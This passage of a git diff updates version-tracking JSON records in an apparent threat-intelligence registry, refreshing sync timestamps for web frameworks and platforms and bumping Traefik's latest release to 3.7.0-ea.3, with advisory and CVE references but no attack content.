"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265",
"mattermost--Issue Identifier",
diff --git a/08-threat-intel/registry/entities/mediawiki.json b/08-threat-intel/registry/entities/mediawiki.json
index 638b02c9..6be9827b 100644
--- a/08-threat-intel/registry/entities/mediawiki.json
+++ b/08-threat-intel/registry/entities/mediawiki.json
@@ -28,7 +28,7 @@
],
"version_sync_status": "green",
"security_version_count": 254,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"MediaWiki Announce RSS"
],
diff --git a/08-threat-intel/registry/entities/medusa.json b/08-threat-intel/registry/entities/medusa.json
index 046eeab1..7dd90707 100644
--- a/08-threat-intel/registry/entities/medusa.json
+++ b/08-threat-intel/registry/entities/medusa.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/moodle.json b/08-threat-intel/registry/entities/moodle.json
index d66d3171..32771eb4 100644
--- a/08-threat-intel/registry/entities/moodle.json
+++ b/08-threat-intel/registry/entities/moodle.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/nestjs.json b/08-threat-intel/registry/entities/nestjs.json
index 641c48f6..3612ca14 100644
--- a/08-threat-intel/registry/entities/nestjs.json
+++ b/08-threat-intel/registry/entities/nestjs.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/nextjs--project--next.json b/08-threat-intel/registry/entities/nextjs--project--next.json
index 7be52f83..0115bafb 100644
--- a/08-threat-intel/registry/entities/nextjs--project--next.json
+++ b/08-threat-intel/registry/entities/nextjs--project--next.json
@@ -35,7 +35,7 @@
],
"version_sync_status": "green",
"security_version_count": 168,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/vercel/next.js",
diff --git a/08-threat-intel/registry/entities/nextjs.json b/08-threat-intel/registry/entities/nextjs.json
index 3fa2edc7..8b07becb 100644
--- a/08-threat-intel/registry/entities/nextjs.json
+++ b/08-threat-intel/registry/entities/nextjs.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 168,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/nginx.json b/08-threat-intel/registry/entities/nginx.json
index 933ff7f0..35b364db 100644
--- a/08-threat-intel/registry/entities/nginx.json
+++ b/08-threat-intel/registry/entities/nginx.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/nodejs.json b/08-threat-intel/registry/entities/nodejs.json
index 3d443d03..c193f234 100644
--- a/08-threat-intel/registry/entities/nodejs.json
+++ b/08-threat-intel/registry/entities/nodejs.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/nuxt--project--nuxt.json b/08-threat-intel/registry/entities/nuxt--project--nuxt.json
index b74e5564..6299cbdc 100644
--- a/08-threat-intel/registry/entities/nuxt--project--nuxt.json
+++ b/08-threat-intel/registry/entities/nuxt--project--nuxt.json
@@ -26,7 +26,7 @@
],
"version_sync_status": "green",
"security_version_count": 11,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/nuxt/nuxt/security/advisories/GHSA-vf6r-87q4-2vjf",
diff --git a/08-threat-intel/registry/entities/nuxt.json b/08-threat-intel/registry/entities/nuxt.json
index 5bcfc37a..d6498955 100644
--- a/08-threat-intel/registry/entities/nuxt.json
+++ b/08-threat-intel/registry/entities/nuxt.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 11,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/opencart--repo--opencart-opencart.json b/08-threat-intel/registry/entities/opencart--repo--opencart-opencart.json
index f07e94cd..40c36522 100644
--- a/08-threat-intel/registry/entities/opencart--repo--opencart-opencart.json
+++ b/08-threat-intel/registry/entities/opencart--repo--opencart-opencart.json
@@ -23,7 +23,7 @@
],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"OpenCart Releases"
diff --git a/08-threat-intel/registry/entities/opencart.json b/08-threat-intel/registry/entities/opencart.json
index afce1f16..b7faccef 100644
--- a/08-threat-intel/registry/entities/opencart.json
+++ b/08-threat-intel/registry/entities/opencart.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"OpenCart Releases"
],
diff --git a/08-threat-intel/registry/entities/openmage--repo--openmage-magento-lts.json b/08-threat-intel/registry/entities/openmage--repo--openmage-magento-lts.json
index 79075ef1..6fba06f6 100644
--- a/08-threat-intel/registry/entities/openmage--repo--openmage-magento-lts.json
+++ b/08-threat-intel/registry/entities/openmage--repo--openmage-magento-lts.json
@@ -21,7 +21,7 @@
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"GitHub Releases API"
],
diff --git a/08-threat-intel/registry/entities/openmage.json b/08-threat-intel/registry/entities/openmage.json
index f69bb000..3d4d790f 100644
--- a/08-threat-intel/registry/entities/openmage.json
+++ b/08-threat-intel/registry/entities/openmage.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/phpmyadmin.json b/08-threat-intel/registry/entities/phpmyadmin.json
index ede9e8ce..f9efe627 100644
--- a/08-threat-intel/registry/entities/phpmyadmin.json
+++ b/08-threat-intel/registry/entities/phpmyadmin.json
@@ -21,7 +21,7 @@
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"phpMyAdmin Security Page"
],
diff --git a/08-threat-intel/registry/entities/prestashop--package--prestashop-prestashop.json b/08-threat-intel/registry/entities/prestashop--package--prestashop-prestashop.json
index 1d9549d0..60272832 100644
--- a/08-threat-intel/registry/entities/prestashop--package--prestashop-prestashop.json
+++ b/08-threat-intel/registry/entities/prestashop--package--prestashop-prestashop.json
@@ -23,7 +23,7 @@
],
"version_sync_status": "green",
"security_version_count": 41,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"Packagist p2",
"https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-35pf-37c6-jxjv",
diff --git a/08-threat-intel/registry/entities/prestashop--repo--prestashop-prestashop.json b/08-threat-intel/registry/entities/prestashop--repo--prestashop-prestashop.json
index fd8b6ca0..6d263b69 100644
--- a/08-threat-intel/registry/entities/prestashop--repo--prestashop-prestashop.json
+++ b/08-threat-intel/registry/entities/prestashop--repo--prestashop-prestashop.json
@@ -28,7 +28,7 @@
],
"version_sync_status": "green",
"security_version_count": 9,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"Friends Of Presta Security",
diff --git a/08-threat-intel/registry/entities/prestashop.json b/08-threat-intel/registry/entities/prestashop.json
index 483a1b22..dd50a7b7 100644
--- a/08-threat-intel/registry/entities/prestashop.json
+++ b/08-threat-intel/registry/entities/prestashop.json
@@ -26,7 +26,7 @@
],
"version_sync_status": "green",
"security_version_count": 50,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"GitHub PrestaShop Advisories",
"Friends Of Presta Security",
diff --git a/08-threat-intel/registry/entities/rails--project--rails.json b/08-threat-intel/registry/entities/rails--project--rails.json
index c886abbf..deccd120 100644
--- a/08-threat-intel/registry/entities/rails--project--rails.json
+++ b/08-threat-intel/registry/entities/rails--project--rails.json
@@ -26,7 +26,7 @@
],
"version_sync_status": "green",
"security_version_count": 102,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"npm latest",
"https://nvd.nist.gov/vuln/detail/CVE-2007-5379",
diff --git a/08-threat-intel/registry/entities/rails.json b/08-threat-intel/registry/entities/rails.json
index 8a4c612d..34b355c2 100644
--- a/08-threat-intel/registry/entities/rails.json
+++ b/08-threat-intel/registry/entities/rails.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 102,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/react--project--react-dom.json b/08-threat-intel/registry/entities/react--project--react-dom.json
index 10a2d2ca..260b5b70 100644
--- a/08-threat-intel/registry/entities/react--project--react-dom.json
+++ b/08-threat-intel/registry/entities/react--project--react-dom.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 12,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"npm latest",
"https://nvd.nist.gov/vuln/detail/CVE-2018-6341"
diff --git a/08-threat-intel/registry/entities/react--project--react.json b/08-threat-intel/registry/entities/react--project--react.json
index 66e8209a..011d6fd7 100644
--- a/08-threat-intel/registry/entities/react--project--react.json
+++ b/08-threat-intel/registry/entities/react--project--react.json
@@ -23,7 +23,7 @@
],
"version_sync_status": "green",
"security_version_count": 6,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/facebook/react",
diff --git a/08-threat-intel/registry/entities/react.json b/08-threat-intel/registry/entities/react.json
index 76d2b651..6b940c89 100644
--- a/08-threat-intel/registry/entities/react.json
+++ b/08-threat-intel/registry/entities/react.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 18,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/redmine.json b/08-threat-intel/registry/entities/redmine.json
index 94330d5a..e22419a3 100644
--- a/08-threat-intel/registry/entities/redmine.json
+++ b/08-threat-intel/registry/entities/redmine.json
@@ -21,7 +21,7 @@
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"Redmine Security Advisories"
],
diff --git a/08-threat-intel/registry/entities/saleor--repo--saleor-saleor.json b/08-threat-intel/registry/entities/saleor--repo--saleor-saleor.json
index 61dabde1..db28eae7 100644
--- a/08-threat-intel/registry/entities/saleor--repo--saleor-saleor.json
+++ b/08-threat-intel/registry/entities/saleor--repo--saleor-saleor.json
@@ -23,7 +23,7 @@
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"GitHub Saleor Advisories"
diff --git a/08-threat-intel/registry/entities/saleor.json b/08-threat-intel/registry/entities/saleor.json
index 83b3b187..8d259b2a 100644
--- a/08-threat-intel/registry/entities/saleor.json
+++ b/08-threat-intel/registry/entities/saleor.json
@@ -21,7 +21,7 @@
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"GitHub Saleor Advisories"
],
diff --git a/08-threat-intel/registry/entities/shopware--repo--shopware-shopware.json b/08-threat-intel/registry/entities/shopware--repo--shopware-shopware.json
index ee81b631..2ddb2a5a 100644
--- a/08-threat-intel/registry/entities/shopware--repo--shopware-shopware.json
+++ b/08-threat-intel/registry/entities/shopware--repo--shopware-shopware.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"Shopware Security Advisories"
diff --git a/08-threat-intel/registry/entities/shopware.json b/08-threat-intel/registry/entities/shopware.json
index de84ac84..f267527f 100644
--- a/08-threat-intel/registry/entities/shopware.json
+++ b/08-threat-intel/registry/entities/shopware.json
@@ -21,7 +21,7 @@
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"Shopware Security Advisories"
],
diff --git a/08-threat-intel/registry/entities/spring-boot--project--org-springframework-boot-spring-boot.json b/08-threat-intel/registry/entities/spring-boot--project--org-springframework-boot-spring-boot.json
index b085443a..d07930d1 100644
--- a/08-threat-intel/registry/entities/spring-boot--project--org-springframework-boot-spring-boot.json
+++ b/08-threat-intel/registry/entities/spring-boot--project--org-springframework-boot-spring-boot.json
@@ -21,7 +21,7 @@
],
"version_sync_status": "green",
"security_version_count": 22,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"advisory-fixed-version",
"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-cm59-pr5q-cw85"
diff --git a/08-threat-intel/registry/entities/spring-boot.json b/08-threat-intel/registry/entities/spring-boot.json
index cbb901c3..3becb69f 100644
--- a/08-threat-intel/registry/entities/spring-boot.json
+++ b/08-threat-intel/registry/entities/spring-boot.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 22,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/spring-framework.json b/08-threat-intel/registry/entities/spring-framework.json
index bcfa12a0..9e18c5fe 100644
--- a/08-threat-intel/registry/entities/spring-framework.json
+++ b/08-threat-intel/registry/entities/spring-framework.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/spring-security--project--org-springframework-security-spring-security-web.json b/08-threat-intel/registry/entities/spring-security--project--org-springframework-security-spring-security-web.json
index c004dd4b..58ee055a 100644
--- a/08-threat-intel/registry/entities/spring-security--project--org-springframework-security-spring-security-web.json
+++ b/08-threat-intel/registry/entities/spring-security--project--org-springframework-security-spring-security-web.json
@@ -21,7 +21,7 @@
],
"version_sync_status": "green",
"security_version_count": 92,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"advisory-fixed-version",
"https://nvd.nist.gov/vuln/detail/CVE-2026-22732"
diff --git a/08-threat-intel/registry/entities/spring-security.json b/08-threat-intel/registry/entities/spring-security.json
index 5e6746a9..0aa14778 100644
--- a/08-threat-intel/registry/entities/spring-security.json
+++ b/08-threat-intel/registry/entities/spring-security.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 92,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/strapi--repo--strapi-strapi.json b/08-threat-intel/registry/entities/strapi--repo--strapi-strapi.json
index 9972123d..b2d4a3ec 100644
--- a/08-threat-intel/registry/entities/strapi--repo--strapi-strapi.json
+++ b/08-threat-intel/registry/entities/strapi--repo--strapi-strapi.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"Strapi GitHub Advisories"
diff --git a/08-threat-intel/registry/entities/strapi.json b/08-threat-intel/registry/entities/strapi.json
index 0b63b6b8..4d43cef7 100644
--- a/08-threat-intel/registry/entities/strapi.json
+++ b/08-threat-intel/registry/entities/strapi.json
@@ -21,7 +21,7 @@
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"Strapi GitHub Advisories"
],
diff --git a/08-threat-intel/registry/entities/sveltekit--package--sveltejs-kit.json b/08-threat-intel/registry/entities/sveltekit--package--sveltejs-kit.json
index d155f2e9..a92bc0ac 100644
--- a/08-threat-intel/registry/entities/sveltekit--package--sveltejs-kit.json
+++ b/08-threat-intel/registry/entities/sveltekit--package--sveltejs-kit.json
@@ -23,7 +23,7 @@
],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/sveltejs/kit/security/advisories/GHSA-88qp-p4qg-rqm6",
diff --git a/08-threat-intel/registry/entities/sveltekit.json b/08-threat-intel/registry/entities/sveltekit.json
index 94aa47f9..94c86508 100644
--- a/08-threat-intel/registry/entities/sveltekit.json
+++ b/08-threat-intel/registry/entities/sveltekit.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/symfony--package--symfony-symfony.json b/08-threat-intel/registry/entities/symfony--package--symfony-symfony.json
index b69a0c18..c41a43da 100644
--- a/08-threat-intel/registry/entities/symfony--package--symfony-symfony.json
+++ b/08-threat-intel/registry/entities/symfony--package--symfony-symfony.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 220,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"Packagist p2",
"https://github.com/symfony/symfony/security/advisories/GHSA-5pv8-ppvj-4h68"
diff --git a/08-threat-intel/registry/entities/symfony.json b/08-threat-intel/registry/entities/symfony.json
index c5eabbbc..65e562af 100644
--- a/08-threat-intel/registry/entities/symfony.json
+++ b/08-threat-intel/registry/entities/symfony.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 220,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/traefik--extension--github-com-traefik-traefik-v3.json b/08-threat-intel/registry/entities/traefik--extension--github-com-traefik-traefik-v3.json
index 15519e87..45489f11 100644
--- a/08-threat-intel/registry/entities/traefik--extension--github-com-traefik-traefik-v3.json
+++ b/08-threat-intel/registry/entities/traefik--extension--github-com-traefik-traefik-v3.json
@@ -12,18 +12,19 @@
"repo_url": "https://github.com/traefik/traefik",
"package_registry": "",
"marketplace_url": "",
- "latest_version": "2.11.42",
+ "latest_version": "3.7.0-ea.3",
"version_scheme": "semver-ish",
- "latest_release_at": "2026-03-26T09:02:56Z",
- "latest_release_url": "https://github.com/traefik/traefik/releases/tag/v2.11.42",
+ "latest_release_at": "2026-03-26T11:10:20Z",
+ "latest_release_url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3",
"version_source_refs": [
"https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2",
"https://github.com/traefik/traefik/security/advisories/GHSA-wvvq-wgcr-9q48",
- "https://github.com/traefik/traefik/releases/tag/v2.11.42"
+ "https://github.com/traefik/traefik/releases/tag/v2.11.42",
+ "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3"
],
"version_sync_status": "green",
"security_version_count": 8,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"https://github.com/traefik/traefik/security/advisories/GHSA-wvvq-wgcr-9q48",
diff --git a/08-threat-intel/registry/entities/traefik--repo--github-com-traefik-traefik-v3.json b/08-threat-intel/registry/entities/traefik--repo--github-com-traefik-traefik-v3.json
index 81605df7..9289639b 100644
--- a/08-threat-intel/registry/entities/traefik--repo--github-com-traefik-traefik-v3.json
+++ b/08-threat-intel/registry/entities/traefik--repo--github-com-traefik-traefik-v3.json
@@ -12,10 +12,10 @@
"repo_url": "https://github.com/traefik/traefik",
"package_registry": "",
"marketplace_url": "",
- "latest_version": "2.11.42",
+ "latest_version": "3.7.0-ea.3",
"version_scheme": "semver-ish",
- "latest_release_at": "2026-03-26T09:02:56Z",
- "latest_release_url": "https://github.com/traefik/traefik/releases/tag/v2.11.42",
+ "latest_release_at": "2026-03-26T11:10:20Z",
+ "latest_release_url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3",
"version_source_refs": [
"https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2",
"https://github.com/traefik/traefik/security/advisories/GHSA-gxrv-wf35-62w9",
@@ -32,11 +32,12 @@
"https://github.com/traefik/traefik/security/advisories/GHSA-4hjq-9h5c-252j",
"https://github.com/traefik/traefik/security/advisories/GHSA-g3hg-j4jv-cwfr",
"https://github.com/traefik/traefik/security/advisories/GHSA-89p3-4642-cr2w",
- "https://github.com/traefik/traefik/releases/tag/v2.11.42"
+ "https://github.com/traefik/traefik/releases/tag/v2.11.42",
+ "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3"
],
"version_sync_status": "green",
"security_version_count": 55,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"https://github.com/traefik/traefik/security/advisories/GHSA-gxrv-wf35-62w9",
diff --git a/08-threat-intel/registry/entities/traefik.json b/08-threat-intel/registry/entities/traefik.json
index 9ecb01cb..7c804dc5 100644
--- a/08-threat-intel/registry/entities/traefik.json
+++ b/08-threat-intel/registry/entities/traefik.json
@@ -12,14 +12,14 @@
"repo_url": "",
"package_registry": "",
"marketplace_url": "",
- "latest_version": "2.11.42",
+ "latest_version": "3.7.0-ea.3",
"version_scheme": "vendor",
- "latest_release_at": "2026-03-26T09:02:56Z",
- "latest_release_url": "https://github.com/traefik/traefik/releases/tag/v2.11.42",
+ "latest_release_at": "2026-03-26T11:10:20Z",
+ "latest_release_url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3",
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 63,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/undici--extension--undici.json b/08-threat-intel/registry/entities/undici--extension--undici.json
index bd6f928b..55f46d69 100644
--- a/08-threat-intel/registry/entities/undici--extension--undici.json
+++ b/08-threat-intel/registry/entities/undici--extension--undici.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/nodejs/undici/security/advisories/GHSA-vrm6-8vpv-qv8q"
diff --git a/08-threat-intel/registry/entities/undici--project--undici.json b/08-threat-intel/registry/entities/undici--project--undici.json
index 23c9d776..c064e688 100644
--- a/08-threat-intel/registry/entities/undici--project--undici.json
+++ b/08-threat-intel/registry/entities/undici--project--undici.json
@@ -32,7 +32,7 @@
],
"version_sync_status": "green",
"security_version_count": 21,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/nodejs/undici/security/advisories/GHSA-3cvr-822r-rqcc",
diff --git a/08-threat-intel/registry/entities/undici.json b/08-threat-intel/registry/entities/undici.json
index abef3a4f..c544b5ff 100644
--- a/08-threat-intel/registry/entities/undici.json
+++ b/08-threat-intel/registry/entities/undici.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 25,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/vite--extension--vite.json b/08-threat-intel/registry/entities/vite--extension--vite.json
index f2a15a04..9a54684a 100644
--- a/08-threat-intel/registry/entities/vite--extension--vite.json
+++ b/08-threat-intel/registry/entities/vite--extension--vite.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 8,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/vitejs/vite/security/advisories/GHSA-jqfw-vq24-v9c3"
diff --git a/08-threat-intel/registry/entities/vite--module--vite.json b/08-threat-intel/registry/entities/vite--module--vite.json
index d7f30a9d..b06e841f 100644
--- a/08-threat-intel/registry/entities/vite--module--vite.json
+++ b/08-threat-intel/registry/entities/vite--module--vite.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 12,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/vitejs/vite/security/advisories/GHSA-64vr-g452-qvp3"
diff --git a/08-threat-intel/registry/entities/vite--plugin--vite.json b/08-threat-intel/registry/entities/vite--plugin--vite.json
index 0a66aec9..3a39f9c0 100644
--- a/08-threat-intel/registry/entities/vite--plugin--vite.json
+++ b/08-threat-intel/registry/entities/vite--plugin--vite.json
@@ -24,7 +24,7 @@
],
"version_sync_status": "green",
"security_version_count": 23,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/vitejs/vite/security/advisories/GHSA-vg6x-rcgg-rjx6",
diff --git a/08-threat-intel/registry/entities/vite--project--vite.json b/08-threat-intel/registry/entities/vite--project--vite.json
index 2fc09add..88e9c361 100644
--- a/08-threat-intel/registry/entities/vite--project--vite.json
+++ b/08-threat-intel/registry/entities/vite--project--vite.json
@@ -32,7 +32,7 @@
],
"version_sync_status": "green",
"security_version_count": 107,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"npm latest",
